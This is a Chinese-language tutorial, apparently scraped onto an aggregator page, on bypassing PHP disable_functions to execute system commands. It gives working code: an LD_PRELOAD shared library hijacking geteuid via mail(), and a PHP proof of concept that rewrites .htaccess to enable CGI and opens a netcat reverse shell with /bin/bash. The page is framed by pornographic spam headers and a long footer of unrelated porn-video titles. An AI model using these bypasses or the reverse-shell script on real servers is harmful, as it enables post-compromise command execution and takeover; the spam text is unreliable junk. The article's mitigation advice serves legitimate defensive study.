欧美阿v视频在线大全_亚洲欧美中文日韩V在线观看_www性欧美日韩欧美91_亚洲欧美日韩久久精品

主頁 > 知識庫 > PHP通過bypass disable functions執行系統命令的方法匯總

PHP通過bypass disable functions執行系統命令的方法匯總

熱門標簽:地圖標注專員怎么樣 電話機器人銷售主要負責什么 遼寧ai電銷機器人價格 房產中介用的是什么外呼系統 上海做外呼線路的通信公司 長沙做地圖標注公司 四川保險智能外呼系統供應商 寧波外呼營銷系統 福建銀行智能外呼系統價格

一、為什么要bypass disable functions

為了安全起見,很多運維人員會禁用PHP的一些“危險”函數,例如eval、exec、system等,將其寫在php.ini配置文件中,就是我們所說的disable functions了,特別是虛擬主機運營商,為了徹底隔離同服務器的客戶,以及避免出現大面積的安全問題,在disable functions的設置中也通常較為嚴格。

攻與防是對立的,也是互相補充的,既然有對函數的禁用措施,就會有人想方設法的去突破這層限制,我們只有在掌握突破方式以及原理的基礎之上,才能更好的去防范這類攻擊。

執行系統命令通常是攻擊者拿到網站webshell之后想要進一步動作的必然操作,如若不能執行系統命令,接下來的更深入的攻擊將很難繼續,所以就有了網站管理者禁用類似exec、system之類函數的現象。然而隨著技術的不斷進步,不斷有新的思路出現,單純的禁用這些函數,某些情況下已經不能阻止攻擊者達到執行系統命令的目的了,那么攻擊者用什么樣的方式突破了disable functions呢?我們又怎樣防范這樣的攻擊呢?

二、 Bash漏洞導致的任意命令執行

GNU Bash 環境變量遠程命令執行漏洞(CVE-2014-6271)是GNU Bash 的一個遠程代碼執行漏洞,在這個CVE的介紹中,可以看到這樣的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,該漏洞源于程序沒有正確處理環境變量值內的函數定義。遠程攻擊者可借助特制的環境變量利用該漏洞執行任意代碼。以下產品和模塊可能會被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模塊,DHCP客戶端等”。實際上,PHP也可以利用這個漏洞做很多事情,甚至有可能直接在80導致遠程命令執行。關于這個漏洞的詳細情況可以查閱CVE-2014-6271的相關資料,此處不再贅述。

下面我們來看一下PHP到底什么地方能用到bash的這個漏洞呢?其實可以用的地方不止一處,這里我們以mail函數作為例子,其他地方同理,可以自行分析。

PHP的mail函數提供了3個必選參數和2個可選參數,這里我們主要看最后一個參數,PHP官方手冊上對最后一個參數的說明:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “

簡單的說就是這個參數可以通過添加附加的命令作為發送郵件時候的配置,比如使用-f參數可以設置郵件發件人等,官方文檔在范例Example #3也有所演示,具體可以參考官方文檔: http://php.net/manual/zh/function.mail.php 。

在mail函數的源代碼mail.c中,我們可以找到如下代碼片段:

if (extra_cmd != NULL) {
       spprintf(sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
    } else {
       sendmail_cmd = sendmail_path;
    }

如果傳遞了第五個參數(extra_cmd),則用spprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置項),隨后將sendmail_cmd丟給popen執行:

#ifdef PHP_WIN32
    sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);
#else
    /* Since popen() doesn't indicate if theinternal fork() doesn't work
    *(e.g. the shell can't be executed) we explicitly set it to 0 to be
    *sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd,"w");
#endif

如果系統默認sh是bash,popen會派生bash進程,而我們剛才提到的CVE-2014-6271漏洞,直接就導致我們可以利用mail()函數執行任意命令,繞過disable_functions的限制。但是這里其實有一個問題,就是extra_cmd在spprintf之前做了安全檢查,我當前的PHP版本是最新的7.2.4,代碼位置在mail.c的第371-375行:

 if (force_extra_parameters) {
       extra_cmd =php_escape_shell_cmd(force_extra_parameters);
    } else if (extra_cmd) {
       extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
    }

php_escape_shell_cmd函數會對特殊字符(包括#;`|*?~>^()[]{}$\, \x0A and \xFF. ‘ 等)進行轉義,那這樣是不是就沒辦法了呢?不是的,我們可以通過putenv函數來設置一個包含自定義函數的環境變量,然后通過mail函數來觸發,網上早已有POC。

同樣調用popen派生進程的php函數還有imap_mail,或者還可能有其他的我們沒有發現的函數,所以如果要防范這類攻擊,最好的辦法就是從根源上入手,修復CVE-2014-6271這個bash漏洞。

三、LD_PRELOAD:無需bash漏洞

上文說到mail函數利用bash破殼漏洞可以實現突破disable functions的限制執行系統命令,但是像這樣的漏洞,一般安全意識稍好一點的運維人員,都會打上補丁了,那么是不是打上補丁之后就一定安全了呢?顯然答案是否定的,LD_PRELOAD是Linux系統的下一個有趣的環境變量:

它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

它允許你定義在程序運行前優先加載的動態鏈接庫,我們只要知道這一件事就足夠了,這說明什么?這說明我們幾乎可以劫持PHP的大部分函數,還拿上文的mail函數作為例子,上文說過,php的mail函數實際上是調用了系統的sendmail命令,那么我們來看一下sendmail都調用了哪些庫函數:

使用readelf -Ws /usr/sbin/sendmail命令來查看,我們發現sendmail函數在運行過程動態調用了很多標準庫函數,我們從中隨便選取一個庫函數geteuid進行測試。

首先我們編寫一個自己的動態鏈接程序,hack.c:

#includestdlib.h>
#include stdio.h>    
#includestring.h> 
void payload() {
    system("touch/var/www/html/test");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

當這個共享庫中的geteuid被調用時,嘗試加載payload()函數,執行命令,在/var/www/html目錄下創建一個名字為test的文件。這里實際應用時應該注意編譯平臺和目標盡量相近,以及注意路徑問題,避免不必要的麻煩,這里我們僅僅作為測試,不考慮這些問題。

[[email protected]]# gcc -c -fPIC hack.c -o hack
[[email protected]]# gcc -shared hack -o hack.so

我們把hack.so放到WEB目錄,然后編寫一個PHP文件進行測試:

?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("[email protected]","","","","");
?>

我們的/var/www/html/目錄下本來只有hack.so和index.php這兩個文件,當我們在瀏覽器中訪問index.php頁面之后,可以看到目錄下又多出了一個test文件,說明我們的系統命令執行成功。

(PS:筆者實際測試時的環境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的環境,測試時遇到一個問題,就是每次刷新訪問index.php時,虛擬機的VM進程會瘋狂的讀寫硬盤,幾乎獨占磁盤的所有活動時間(機械硬盤),導致虛擬機卡頓到連鼠標都無法移動,物理機也因此受到影響明顯卡頓,約半小時左右這種情況會突然消失,最終測試結果成功。不知道是什么原因引起這種現象,需要進一步研究,但不在本文討論范圍之內。)

這種繞過行為實施起來很簡單,并且目前為止還不受PHP與Linux版本的限制,但是也很容易防御,只要禁用相關的函數(putenv)或者限制對環境變量的傳遞就可以了,但是要注意對現有業務是否造成影響。

其實對于這個問題,早在2008年就有人向PHP官方反饋過,只不過PHP給出的回復是你最好禁用putenv函數: https://bugs.php.net/bug.php?id=46741 ,所以我們有理由相信在后續的PHP版本中也不會對這個問題有什么針對性的解決方案。

四、.htaccess:不止重定向

大家對.htaccess文件一定不陌生,沒錯,在apache的WEB環境中,我們經常會使用.htaccess這個文件來確定某個目錄下的URL重寫規則,特別是一些開源的CMS或者框架當中經常會用到,比如著名的開源論壇discuz!,就可以通過.htaccess文件實現URL的靜態化,大部分PHP框架,例如ThinkPHP和Laravel,在apache環境下會用.htaccess文件實現路由規則。但是如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊,直接繞過PHP的任何限制,來執行系統命令。

關于mode_cgi,可以參考apache的官方說明:  http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime類型application/x-httpd-cgi或者被 cgi-script處理器(Apache 1.1或以后版本)處理的文件將被作為CGI腳本對待并由服務器運行, 它的輸出將被返回給客戶端。通過兩種途徑使文件成為CGI腳本,或者文件具有已由 AddType指令定義的擴展名,或者文件位于 ScriptAlias目錄中。”,這就表示,apache允許WEB服務器與可執行文件進行交互,這就意味著,你可以用C或者python編寫WEB應用,聽起來我們好像可以做任何apache權限用戶能做的事情了,那么到底如何實現呢?

首先需要滿足幾個條件,第一,必須是apache環境,第二,mod_cgi已經啟用(在我的環境下是默認啟用的),第三,必須允許.htaccess文件,也就是說在httpd.conf中,要注意AllowOverride選項為All,而不是none,第四,必須有權限寫.htaccess文件。其實這幾個條件還是比較容易滿足的,滿足了以上的條件,就可以“搞事情”了。

在apache的配置中,有一個非常重要的指令,Options,Options指令是Apache配置文件中一個比較常見也比較重要的指令,Options指令可以在Apache服務器核心配置(server config)、虛擬主機配置(virtual host)、特定目錄配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目錄將啟用哪些服務器特性。關于Options指令后可以附加的特性選項的具體作用及含義,可以參考這篇文章: http://www.365mini.com/page/apache-options-directive.htm ,當然我們用到的就是ExecCGI選項,表示允許使用mod_cgi模塊執行CGI腳本。除了Options,我們還要配合另外一個AddHandler指令來使用,如果你對AddHandler不太熟悉沒關系,這么解釋一下就容易理解多了:AddType我們肯定很熟悉,比如配置apache對PHP的支持的時候,經常會添加一行類似AddTypeapplication/x-httpd-php .php這樣的配置,這其實是指定了文件擴展名和內容類型之間的映射關系,而AddHandler則是指定擴展名和處理程序之間的關系,也就是說,可以指定某個特定的擴展名的文件,如何來進行處理。

有了Options和AddHandler,我們就可以隨便指定一個特定的文件擴展名以特定的程序來處理,這樣思路就很清晰了:先把要執行的程序寫入一個特定擴展名的文件里,然后修改.htaccess文件,通過Options指令允許使用mod_cgi模塊執行CGI腳本,然后再讓我們特定的擴展名以cgi-script進行處理,這樣我們甚至可以反彈一個shell出來。

POC如下,附注釋:

?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反彈一個shell出來,這里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定這個header,否則會返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
  echo "$text: " . ($condition ?$yes : $no) . "br>\n";
}
if(!isset($_GET['checked']))
{
  @file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND); 
  header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //執行環境的檢查
}
else
{
  $modcgi = in_array('mod_cgi',apache_get_modules()); // 檢測mod_cgi是否開啟
  $writable = is_writable('.'); //檢測當前目錄是否可寫
  $htaccess = !empty($_SERVER['HTACCESS']);//檢測是否啟用了.htaccess
    checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
    checkEnabled("Iswritable",$writable,"Yes","No");
    checkEnabled("htaccessworking",$htaccess,"Yes","No");
  if(!($modcgi  $writable $htaccess))
  {
    echo "Error. All of the above mustbe true for the script to work!"; //必須滿足所有條件
  }
  else
  {
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //備份一下原有.htaccess
checkEnabled("Write 
.htaccessfile",file_put_contents('.htaccess',"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我們的特定擴展名
    checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//寫入文件
    checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//給權限
    echo "Executing the script now.Check your listener img src = 'shell.dizzle' style ='display:none;'>"; //調用
  }
}
?>

我們在本地開nc監聽4444端口,然后在瀏覽器中打開這個頁面,如果執行成功,將會反彈一個shell到4444端口:

當訪問POC的時候,成功反彈了一個shell到本地的4444端口,可以看到執行id命令后的回顯。

五、其他方式

除上述方式外,在某些特定情況下,還有很多能夠繞過php.ini的禁用函數達到執行系統命令目的的方法,但是由于這些方法受到的限制頗多,很少有滿足條件的真實環境,所以鑒于篇幅原因,以下只粗略介紹幾個其他繞過方式,并提供相關的詳細介紹的文章鏈接,如果有興趣詳細了解,可以參考互聯網上的相關資料。

ImageMagick

ImageMagick是一款使用量很廣的圖片處理程序,很多廠商包括Discuz、Drupal、Wordpress等常用CMS中也調用了ImageMagick擴展或ImageMagick庫進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。在ImageMagick6.9.3-9以前的所有版本中都存在一個漏洞,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入,官方在6.9.3-9版本中對漏洞進行了不完全的修復。關于這個漏洞的具體利用和防御方式可以參考:

 http://wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一個擴展,可以支持php的多線程操作。很多時候會碰到禁用exec函數的情況,但如果運維人員安全意識不強或對PHP不甚了解,則很有可能忽略pcntl擴展的相關函數。

COM 組件

Windows環境下,當php.ini的設置項com.allow_dcom =true時,可以通過COM組件執行系統命令,甚至開啟安全模式也可以,相關資料參考: https://www.exploit-db.com/exploits/4553/ 。

win32std

win32std是一個很老的PHP擴展,其中的win_shell_execute函數可以用來執行Windows系統命令: https://www.exploit-db.com/exploits/4218/ 。

六、總結

對于入侵者來說,拿到一個webshell之后,如果想要進一步獲取更高的權限或更多的數據和信息,執行系統命令幾乎是必須的。當我們在PHP應用中出現了某些紕漏導致遭到入侵時,如何讓損失降到最低就成了首要的問題。從本文已經列舉的方法中不難看出只要掌握了這些原理,防范工作是非常簡單有效的,只要經常關注安全動態,是完全可以做到對以上繞過措施進行防御的。

以上所述是小編給大家介紹的PHP通過bypass disable functions執行系統命令的方法匯總,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網站的支持!

您可能感興趣的文章:
  • 一些需要禁用的PHP危險函數(disable_functions)
  • php.ini 啟用disable_functions提高安全

標簽:延安 宿遷 宜春 常德 工商登記 澳門 佛山 深圳

巨人網絡通訊聲明:本文標題《PHP通過bypass disable functions執行系統命令的方法匯總》,本文關鍵詞  PHP,通過,bypass,disable,functions,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP通過bypass disable functions執行系統命令的方法匯總》相關的同類信息!
  • 本頁收集關于PHP通過bypass disable functions執行系統命令的方法匯總的相關信息資訊供網民參考!
  • 推薦文章
    欧美阿v视频在线大全_亚洲欧美中文日韩V在线观看_www性欧美日韩欧美91_亚洲欧美日韩久久精品
  • <rt id="w000q"><acronym id="w000q"></acronym></rt>
  • <abbr id="w000q"></abbr>
    <rt id="w000q"></rt>
    在线精品视频免费播放| 偷偷要91色婷婷| 国产一区二区精品在线观看| 久久国产精品影院| 欧美高清视频www夜色资源网| 亚洲精品国产a| 99久久99久久精品免费看蜜桃| 欧美色图亚洲视频| 国产精品沙发午睡系列990531| 国产麻豆视频精品| 日本成人免费在线观看| 欧美国产日韩a欧美在线观看| 国产一区二区三区电影在线观看| 又嫩又硬又黄又爽的视频| 久久久久久9999| 国产一区999| 亚洲区一区二区三| 国产精品伦一区| 99久久免费国产| 欧美亚洲一区三区| 午夜欧美视频在线观看| 日本japanese极品少妇| 欧美成人高清电影在线| 激情小说亚洲一区| 可以免费看av的网址| 国产精品国模大尺度视频| www.av亚洲| 欧美丝袜丝交足nylons图片| 午夜视频在线观看一区二区三区| 亚洲色图14p| 国产午夜精品美女毛片视频| 成人在线一区二区三区| 欧美吻胸吃奶大尺度电影| 午夜精品在线视频一区| av电影在线不卡| 国产精品久久久久久久午夜片| caoporn国产精品| 欧美日韩高清在线播放| 免费人成黄页网站在线一区二区| 性の欲びの女javhd| 国产精品成人免费精品自在线观看| 99久久精品国产毛片| 这里只有精品99re| 捆绑调教美女网站视频一区| 手机在线免费看片| 亚洲综合视频网| 亚洲综合网在线观看| 国产精品视频看| 又黄又色的网站| 久久久夜色精品亚洲| 99精品在线观看视频| 91精品欧美福利在线观看| 国产一区二区精品久久| 欧美三级电影一区| 久久99精品国产麻豆婷婷洗澡| 91嫩草|国产丨精品入口| 天堂精品中文字幕在线| 99久久精品久久亚洲精品| 亚洲国产裸拍裸体视频在线观看乱了| av在线网站观看| 最新成人av在线| 五月开心播播网| 国产精品久久99| 国产xxxxxxxxx| 国产精品久久久久久久裸模| 国产美女视频免费观看下载软件| 欧美国产日韩在线观看| 五月开心播播网| 亚洲私人黄色宅男| 中文字幕一区二区三区人妻电影| 综合av第一页| 精品成人av一区二区三区| 一区二区在线观看av| 日本伦理一区二区三区| 午夜私人影院久久久久| 中文字幕影音先锋| 蜜桃av一区二区三区电影| 在线区一区二视频| 国产精品一二三四区| 欧美一级在线观看| 91网站最新地址| 国产日韩欧美制服另类| 91黄色免费视频| 亚洲男人天堂av| 美国一级片在线观看| 奇米综合一区二区三区精品视频| 在线观看免费一区| 成人午夜大片免费观看| 精品国产sm最大网站免费看| 欧美一级片在线免费观看| 国产精品视频一二| 18精品爽国产三级网站| 日欧美一区二区| 欧美亚洲日本一区| 成人av综合一区| 国产日韩欧美精品电影三级在线| av无码av天天av天天爽| 亚洲国产精品视频| 日本二三区不卡| 国产99精品国产| 久久久亚洲国产美女国产盗摄 | 亚洲国产精品影院| 国产精品影视网| 日韩午夜三级在线| 欧美xxxxx精品| 亚洲一区免费视频| 色av综合在线| 成人a区在线观看| 国产精品污www在线观看| 纪美影视在线观看电视版使用方法| 日韩在线卡一卡二| 欧美精品三级在线观看| 国产成人精品一区二区三区在线观看| 日韩美女精品在线| avtt天堂在线| 成人一区二区视频| 中文字幕一区二区三区不卡在线| 老司机深夜福利网站| 国产精品自产自拍| 国产欧美日韩在线观看| 国产黄色大片免费看| 久久精品国产一区二区三| 日韩欧美国产综合在线一区二区三区| 国产一级免费片| 亚洲成人在线观看视频| 欧美另类久久久品| 中文字幕免费高清视频| 午夜精品久久久久久久久| 在线播放中文字幕一区| www.555国产精品免费| 亚洲一区二区三区四区五区黄| 欧美日韩在线播放三区四区| 成人国产电影网| 1024国产精品| 在线日韩av片| 一级黄色电影片| 五月天一区二区| 日韩欧美中文字幕公布| 国内精品久久99人妻无码| 日本va欧美va欧美va精品| 欧美一区二区三区免费视频| 久久精品一区二区免费播放| 精品一区二区三区免费观看 | 国产精品一区二区在线免费观看| 午夜成人免费视频| 日韩女优电影在线观看| 91网站免费入口| 国产乱子轮精品视频| 亚洲国产成人私人影院tom| 午夜精品一区二区三区视频| 91香蕉视频污在线| 爽爽淫人综合网网站| 欧美zozo另类异族| 糖心vlog免费在线观看| 91在线视频18| 天天色天天操综合| 久久久久久综合| 国产乱国产乱老熟300| 国产亚洲精品成人a| 麻豆成人在线观看| 国产精品午夜久久| 欧美日本一区二区三区四区| 日本高清www| 成人精品高清在线| 亚洲aaa精品| 久久综合一区二区| 色一情一乱一乱一91av| 久久人妻少妇嫩草av无码专区 | 亚洲欧洲av在线| 欧美日本不卡视频| 九九九视频在线观看| 91在线观看免费视频| 日本中文字幕不卡| 国产精品久久久爽爽爽麻豆色哟哟| 欧美性受极品xxxx喷水| 88久久精品无码一区二区毛片| 成人黄色a**站在线观看| 午夜精品久久久久久久| 国产片一区二区| 欧美美女喷水视频| 国产黄a三级三级| 亚洲男女在线观看| 国产精品99久久久久久有的能看| 有码一区二区三区| 精品国产91乱码一区二区三区| 69xx绿帽三人行| 国产精品三级在线观看无码| **性色生活片久久毛片| 欧美一区二区私人影院日本| 国产精品精品软件男同| 亚洲国产精品成人综合久久久| 成人高清视频免费观看| 日韩经典一区二区| 专区另类欧美日韩| 精品精品国产高清a毛片牛牛| 欧美在线观看一区| 日韩欧美在线视频播放| 久久福利小视频| 99久久免费精品| 国产精品影音先锋|